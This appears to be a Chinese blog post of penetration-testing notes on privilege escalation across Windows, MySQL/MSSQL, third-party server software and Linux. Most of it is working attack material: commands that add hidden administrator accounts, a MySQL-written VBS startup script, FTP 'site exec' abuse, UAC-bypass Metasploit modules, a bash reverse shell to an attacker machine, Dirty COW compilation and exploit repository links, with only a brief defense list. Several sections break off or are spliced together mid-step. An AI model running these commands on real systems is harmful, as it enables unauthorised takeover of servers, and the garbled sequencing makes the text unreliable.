精彩文章免费看

17.提权

提权方法:
溢出漏洞提权、数据库提权(mysql提权(udf提权,mof提权,自启动提权)、mssql提权)、第三方软件提权(serv-u、flashFxp、genne6 Ftp、vnc、radmin 、 zend、dll劫持、perl、cacle、pcanyWhre等)

windows提权(sc提权、不带引号的服务路径[在文件夹名称带空格的文件夹下放一个msf木马,进行shell反弹]、不安全的服务权限、)、linux提权(脏牛提权、suid提权)

数据库脱库可以使用工具 通过百度查找Navicat Mysql、Navicat for SQL Server、Navicat for Oracle、Navicat for PostgreSQL、Navicat for SQLite等,也可以使用其它工具代替,如sqlmap、k8等类似工具。

2.1 溢出漏洞提权

溢出漏洞的全名:缓冲区溢出漏洞 因为它是在程序执行的时候在缓冲区执行的[错误代码]。所以叫缓冲区溢出漏洞。

cmd.exe执行命令时需要读取和写入权限,且需要授予iuser权限。默认只有读取的权限。
上传大马或者菜刀使用cmd时,无法成功执行命令,
原因可能是运维人员把cmd的权限进行了调低。只有管理员有写入权限。

如何解决:
使用大马或菜刀,查看哪些目录具有写入权限(不能找带空格的目录),上传一个cmd.exe到目录,并设置新的终端路径: setp c:\xxx\cmd.exe ,这样就使用新的cmd.exe执行命令。

提权常用的命令有:

whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器IP ipconfig /all
net user——查看当前用户情况
netstat ——查看当前网络连接情况  netstat –ano  /netstat –an | find “ESTABLISHED”
tasklist ——查看当前进程情况 tasklist /svc 
taskkill ——结束进程 taskkill -PID xx
net start  ——启动服务
net stop ——停止服务
net user best 123456 /add 添加用户名为best,密码为123456
net localgroup administrators best /add 将用户名为best的用户添加到管理员组
net user best /del 删除best用户

快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:

systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
可以去下面的网址去下载对应的exploits:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation

2003系统比较出名的提权是巴黎烤肉提权、pr提权(ms-09-012)

2.1.1 pr.exe提权

Windows Server 2003和windows xp系统能够使用 pr 提权。如果目标机打上了 KB952004补丁 的话,是没有办法使用pr进行提权的。
1.将pr.exe上传。
2.运行pr.exe,并使用命令添加账户并添加到管理原组。

pr.exe "net user hack 123 /add"   #新建一个hack用户,密码为 123
pr.exe "net localgroup administrators hack /add" #将hack用户加入administrators管理员组

3.就可以用远程桌面登录了,前提是目标主机开启了3389远程端口。
也可以使用pr.exe后接工具开启3389端口。

pr.exe "opents.exe"

2.1.2 巴西烤肉漏洞

churrasco.exe是2003系统一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的。
1.上传churrasco.exe
2.在命令行直接输入命令,添加账号
D:\churrasc.exe "net user"
如:conn、config、data、sql、common 、inc等。

查看数据库安装路径下的mysql文件 安装目录为/data/mysql/user.myd和user.myi

通过暴力破解得到(hscan、Bruter、hydra、脚本木马)

注意事项:
一、基于安全考虑root账户一般只能本地访问,但是在开发过程中可能需要打开root的远程访问权限。下面是基本的步骤:
1、登录到mysql中,为root进行远程访问的授权,执行下面的命令:

mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";
mysql> flush privileges;

第一句中"%"表示任何主机都可以远程登录到该服务器上访问。
如果要限制只有某台机器可以访问,将其换成相应的IP即可,

GRANT ALL PRIVILEGES ON *.* TO root@“%" IDENTIFIED BY "root";

第二句表示从mysql数据库的grant表中重新加载权限数据。因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。

二、mysql数据库密码保存文件
参考:http://blog.sina.com.cn/s/blog_8028ba2f0100rzpt.html

三、菜刀数据库连接、大马777.php、其它工具爆破
不推荐脚本,速度慢。

2.2.1.1 udf提权

1.可以使用工具mysql综合利用工具。
需要输入ip,数据库密码,以及导入的目录(如果是手工安装的mysql:默认目录是c:\windows\system32\udf.dll;如果是phpstudy集成环境,则需要在安装目录下的mysql/lib目录下创建plugin文件夹。
目录是:)

并执行命令:

select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';

2.2.1.3 mysql启动项提权

1、通过mysql数据库命令写入VBS脚本;

2、直接通过Webshell的Mysql写入启动项;

3、通过MS12-020、MS15-034重启服务器。

C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
mysql>drop database test1;
mysql> create database test1;
mysql> use test1;
mysql> create table a (cmd text);
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
mysql>select * from a;
mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs";
最后通过溢出漏洞让服务器重启,如:MS12-020、MS15-034

2.2.2 mssql提取

溢出漏洞是针对server 2000,2000之后的版本很少有。目前主要是通过弱口令直接提权。

1.可以使用工具其他工具--sql链接--sqltools2.0.

2.2.3 安全防御

1、限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。

2、不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并限格控制好权限。

3、及时升级数据库补丁。

4、安装Waf进行防御。
5、购买数据库审计设备

2.3 第三方提权

2.3.1 serv-u提权

存在漏洞的地方:
1.5.04以下版本可用servux.exe进行远程溢出漏洞。
2.权限配置不当可用svu.exe添加管理员账号。添加命令:
** svu.exe -i ip地址 -u 用户 -p 密码 -a 路径**
3.serv-u目录文件存在修改权限,直接修改配置文件添加管理用户。
4.serv-u目录文件不存在修改权限,可直接通过serv-u默认本地管理员提权。

2.3.1.1 安装配置serv.exe

1.安装并破解serv.exe。
双击setup.exe(汉化包),路径选择serv.exe的安装路径。

2.在物理机的cmd.exe上可以访问ftp,进行添加账户。
在ftp命令行中添加账号的命令为:

quote site exec net user best666 best /add
quote site exec net localgroup administrators best666 /add
2.主配置文件是Remote.ini,其路径是
C:\Program Files\Gene6 FTP Server\RemoteAdmin\Remote.ini。管理员登录的ip、端口和密码都存储在这。但Gene

6管理员帐号只充许本地登录。 只能通过Webshell转发端口才可以进行远程连接。

使用的端口是5631,5632.

1.该软件的默认安装路径为C:\Program Files\Symantec\pcAnywhere\

*.cif文件默认路径为C:\DocumentS and Settings\All Users\ApplicationData\Symantec\pcAnywhere\Hosts\

2.使用webshell下载*.cif文件,使用PCAnyPass.exe破解密码。

vnc的端口是5900/5800,可以使用端口扫描来判断是否安装此软件。
1.vnc的密码是保存在
注册表中,可以在命令行输入命令cmd /c "regedit /e c:\123.reg"HKEY_LOCAL_MACHINE\software\RealVNC\WinVNC4" ",将信1息保存为123.reg。
可以使用软件vncx4.exe进行破解。

image.png

2.在物理机打开Zend_DLL_Hijacking_for_nc.exe软件,进行配置。通过工具重新生成一个来木马ZendExtensionManager.dll让apche重启加载。
3、等apache重新加载,如果没有加载可以手工重启apache加载
4、telnet ip 1111登录目录服务器

1.cacls提权,使用命令:
cacls c:\index.asp /t /e /c /g interactive:f
把index.asp加入interactive组并赋予完全控制权限(IIS的IUSER_用户就在这一组中).这样就可以对index.asp任意编辑。

Cacls filename [/T] [/E] [/C] [/G usererm] [/R user [...]] [/P usererm [...]] [/D user [...]]
Filename:显示访问控制列表(以下简称ACL)
/T:更改当前目录及其所有子目录中指定文件的ACL
/E:编辑ACL而不替换
/C:在出现拒绝访问错误时继续 
/G Userer:perm:赋予指定用户访问权限,Perm代表不同级别的访问权限,其值可以是R(读取)、W(写入)、C(更改,写入)、F(完全控制)等。
/R user:撤销指定用户的访问权限,注意该参数仅在与“/E”一起使用时有效。
/P user:perm:替换指定用户的访问权限,perm的含义同前,但增加了“N(无)”的选项。
/D user:拒绝指定用户的访问

3 windows提权

uac:是windows的安全机制。(2003版本没有)

当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac。

3.1 使用木马提权

1.在win7新添加一个用户,新添加的用户默认属于user组。并切换到新加用户的模式下。

使用use exploit/windows/local/ask这个payload。设置信息。

或者使用use exploit/windows/local/bypassuac或者
use exploit/windows/local/bypassuac_injection

3.2 不带引号的服务路径

参考:https://www.cnblogs.com/persuit/p/5916010.html

windows服务运行时,如果有可执行文件且有完整路径,系统会按照字面解释执行。如果路径没有被包括在"(引号)中,操作系统就会找含有空格路径下的第一个实例。

根据这个漏洞,我们可以上传木马,然后漏洞特性造成开机自启动。(上传之后需要重启)。

1.使用命令查找带空格的目录:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

如果在cmd.exe下不能运行wmic,是环境变量没有进行配置。在path变量后添加C:\Windows\System32\wbem就可以
2.将exe文件放在c:根目录下,重启电脑,看是否开机自启。

3.3 sc 命令提权(adminstrator----system)

SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
主要使用的命令有;
sc Create syscmd binPath= “cmd /K start” type= own type= interact
//创建一个名叫syscmd的新的交互式的cmd服务,/k是启动后窗口不消失。\c是消失

sc start systcmd //启动新建cmd服务

Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径。

常用的参数有:
bash -i :生成一个bash交互环境。

/dev/tcp/目标ip/端口: /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。这个命令是让主机与目标主机建立一个tcp连接。

&:将联合符号前面的内容和后面相结合然后一起重定向给后者。

0>&1:将标准的输入与标准的输出内容结合,然后重定向给后面标准输出的内容。

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

具体内容参考:https://blog.csdn.net/Auuuuuuuu/article/details/89059176?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param

https://www.cnblogs.com/yyxianren/p/12665816.html

1.在kuli系统输入命令:
bash -i >& /dev/tcp/物理机ip/端口
2.使用nc.exe软件,输入nc.exe -l -p 端口号

影响范围:linux内核>=2.6.22
原理:关键函数使是get_user_pages,Copy_on_Write(cow)。
get_user_pag内核函数在处理cow的过程中,产生了竞争造成了cow过程被破坏。
复制只读页生成了一个带有写权限的新页。

1.下载POC:https://github.com/FireFart/dirtycow

2.利用gcc编译dirty.c文件

gcc -pthread dirty.c -o dirty -lcrypt

3.2 suid提权

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者(普通用户)暂时获得该文件拥有者的权限。
suid提权:
大概意思就是就是有个文件,它有s标志,并且他属主是root,普通用户运行这个程序就可以暂时有了root的权限,并且这个程序还得能执行命令。

文件权限查询:
      # ll f1
      -rwsr-xr-x. 1 root root 0 Nov 17 20:18 f1
   文件属主的x权限,用s代替.表示被设置了SUID

如果属主位没有x权限,会显示为大写S,表示有故障(权限无效)

1.首先在本地查找符合条件的文件,有以下三个命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

3.3 使用已对外公开的exp

已对外公开 exp 注:

https://github.com/SecWiki/linux-kernel-exploits https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/ https://github.com/xairy/kernel-exploits

3.4 linux常用命令

1.内核,操作系统和设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息

2.用户和权限信息:

whoami        当前用户名
id            当前用户信息
cat /etc/sudoers  谁被允许以root身份执行
sudo -l       当前用户可以以root身份执行操作

3.linux一句话添加账号

(1)chpasswd 方法
# useradd guest;echo 'guest:123456'|chpasswd
(2)useradd -p 方法
# useradd -p `openssl passwd 123456` guest
(3)echo -e 方法
# useradd test;echo -e "123456n123456n" |passwd test

(6)其它

Linux运维最常用150个命令](https://www.jianshu.com/p/979d8f5e5e65)

vim必知必会的快捷键

最后编辑于:2020-09-01 09:02